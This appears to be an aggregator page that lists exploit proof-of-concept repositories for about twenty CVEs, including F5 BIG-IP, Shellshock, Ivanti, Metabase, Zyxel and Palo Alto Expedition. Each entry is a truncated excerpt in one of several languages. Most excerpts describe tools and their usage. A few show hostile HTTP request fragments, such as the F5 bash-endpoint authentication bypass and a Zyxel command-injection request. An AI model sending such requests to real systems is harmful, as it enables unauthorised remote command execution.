CVE-2022-1388-Exploit-POC

CVE-2022-1388 EXPLOIT POC F5 BIG IP root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: REDACTED:8083 Content-Length: 45 Connection: Keep-Alive,X-F5-Auth-Token Cache-Control: max-age=0 X-F5-Auth-Token: SherlockSecure Content-Type: application/json Authorization: Basic YWRtaW46aG9yaXpvbjM=...

CVE-2022-1292

CVE-2022-1292 Описание Скрипт crehash не выполняет должную санитизацию метасимволов оболочки для предотвращения внедрения команд. Этот скрипт распространяется некоторыми операционными системами таким образом, что он выполняется автоматически. В таких операционных системах злоумышленник может...

exploit-CVE-2014-6271

Shellshock 익스플로잇 + 취약 환경 셸쇼크Shellshock는 Bashdoor라고도 알려져 있으며, 널리 사용되는 Unix Bash 셸에서 발견된 일련의 보안 버그입니다. 첫 번째 버그는 2014년 9월 24일에 공개되었습니다. 일부 웹 서버 배포판과 같은 많은 인터넷 노출 서비스가 특정 요청을 처리하기 위해 Bash를 사용하므로, 공격자는 취약한 버전의 Bash가 임의의 명령을 실행하도록 만들 수 있습니다. 이를 통해 공격자는 컴퓨터 시스템에 대한 무단 액세스를 얻을 수 있습니다. 취약 환경 실행하기 이 환경을...

CVE-2024-50379-POC

CVE-2024-50379-POC Этот репозиторий содержит Python-скрипт, предназначенный для эксплуатации CVE-2024-50379 — уязвимости, которая позволяет злоумышленникам загружать JSP-шелл на уязвимый сервер и удалённо выполнять произвольные команды. Данный эксплойт особенно полезен, когда каталог /uploads на...

Rust_CVE-2025-55182

CVE-2025-55182 Эксплойт-инструмент версия на Rust Обзор проекта Данный проект представляет собой инструмент для исследования безопасности, разработанный на Rust, для эксплуатации уязвимости удаленного выполнения кода RCE в [email protected]. Уязвимость позволяет атакующему отправлять...

CVE-2020-9484

CVE-2020-9484 Ссылка Авторы: redtimmysec, masahiro331 https://packetstormsecurity.com/files/157924/CVE-2020-9484.tgz + Я только что проанализировал эксплуатацию нулевого дня. Затем переработал. Описание По сравнению с предыдущим PoC, он имеет следующие преимущества. + Скрипт окружения для Ubuntu...

CVE-2025-51820

CVE-2025-51820 Une vulnérabilité critique d'exécution de code à distance RCE CVE-2025-51820 a été découverte dans Shopping Portal v1.0. 🚨 Exécution de code à distance dans Online Shopping Portal Project v1.0 CVE-2025-51820 🔍 Introduction Dans le monde numérique d'aujourd'hui, l'exécution de code ...

ShellShockHunter

ShellShockHunter v1.0 C'est un outil simple pour tester la vulnérabilité Shellshock root@kitploit: Autor: MrCl0wn Blog: http://blog.mrcl0wn.com GitHub: https://github.com/MrCl0wnLab Twitter: https://twitter.com/MrCl0wnLab Email: mrcl0wnlab@\gmail.com Shellshock bogue logiciel...

CVE-2022-22947

CVE-2022-22947 poc: pocsuite -r CVE-2022-22947POCEXP.py -u url --verify exp: pocsuite -r CVE-2022-22947POCEXP.py -u url --attack --command "command" Отказ от ответственности Этот инструмент предназначен только для обучения, исследований и самопроверки. Его не следует использовать в незаконных...

CVE-2024-10914

CVE-2024-10914 - Exploit d'exécution de code à distance RCE D-Link Ce script est un exploit de type preuve de concept PoC pour CVE-2024-10914, une vulnérabilité d'exécution de code à distance sur certains appareils D-Link. Le script identifie et exploite les appareils vulnérables pour exécuter de...

CVE-2023-24489-ShareFile

ShareFile RCE CVE-2023-24489 Это Python-скрипт, который эксплуатирует уязвимость удаленного выполнения кода в приложении ShareFile CVE-2023-24489. Эта уязвимость позволяет злоумышленнику выполнять произвольные команды на целевой системе. Использование Чтобы использовать скрипт, следуйте инструкци...

CVE-2024-24576-PoC-Python

root@kitploit: CVE-2024-24576-Poc-Python Быстрый PoC для уязвимости, раскрытой здесь: https://flatt.tech/research/posts/batbadbut-you-cant-securely-execute-commands-on-windows/ После запуска скрипта вам будет предложено передать аргумент в BAT-файл. На скриншоте видно, что добавлением символа "...

CVE-2022-1388

CVE-2022-1388 Проверка и эксплуатация CVE-2022-1388 Установка: root@kitploit: python3 -m pip install -r requirements.txt Использование Одиночная проверка : root@kitploit: python3 cve.py s fullurl apicommand example python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash...

CVE-2023-38646-PoC

CVE-2023-38646 - RCE sans authentification Metabase Metabase open source avant 0.46.6.1 et Metabase Enterprise avant 1.46.6.1 permettent aux attaquants d'exécuter des commandes arbitraires sur le serveur, au niveau de privilège du serveur. L'authentification n'est pas requise pour l'exploitation...

CVE-2024-29973

CVE-2024-29973 root@kitploit: GET /cmd,/simZysh/registermain/setCookie?c0=storageextcgi+CGIGetExtStoInfo+None+and+False+or+import"subprocess".checkoutput"id",+shell=True%23 HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept: / Accept-Languag...

CVE-2023-28324

CVE-2023-28324 POC для CVE-2023-28324, затрагивающего Ivanti EPM. Технический анализ Технический анализ первопричины уязвимости можно найти в нашем блоге: https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-28324-deep-dive/ Краткое описание Этот POC эксплуатирует уязвимость в...

CVE-2023-46805_CVE-2024-21887

CVE-2023-46805 Уязвимость обхода аутентификации в веб-компоненте Ivanti ICS 9.x, 22.x и Ivanti Policy Secure позволяет удалённому злоумышленнику получить доступ к ограниченным ресурсам, обходя проверки контроля доступа. использование: ./CVE-2023-46805.sh https://fqdn:port ./CVE-2023-46805.sh...

CVE-2022-35914-poc

CVE-2022-35914 PoC Ссылки https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr Использование root@kitploit: pip install -r requirements.txt root@kitploit: ./CVE-2022-35914.py -h usage: CVE-2022-35914.py -h -u URL -c CMD -f HOOK --check --user-agent USERAGENT CVE-2022-35914...

CVE-2024-9464

CVE-2024-9464: Palo Alto Expedition 认证命令注入 利用CVE-2024-9464在易受攻击设备上的概念验证。此脚本链式使用CVE-2024-5910的管理员重置，实现"未认证"的任意命令执行。 博客文章 根本原因和入侵指标此处： https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise/ 用法 root@kitploit: % python3 CVE-2024-9464.py -h usage: CVE-2024-9464.py ...

CVE-2025-26056

CVE-2025-26056 Auteur: Rohan Deshpande Injection de commandes système Résumé L'injection de commandes système est une vulnérabilité de sécurité qui permet à un attaquant d'exécuter des commandes arbitraires sur le système d'exploitation hôte via une application vulnérable. Cela peut entraîner un...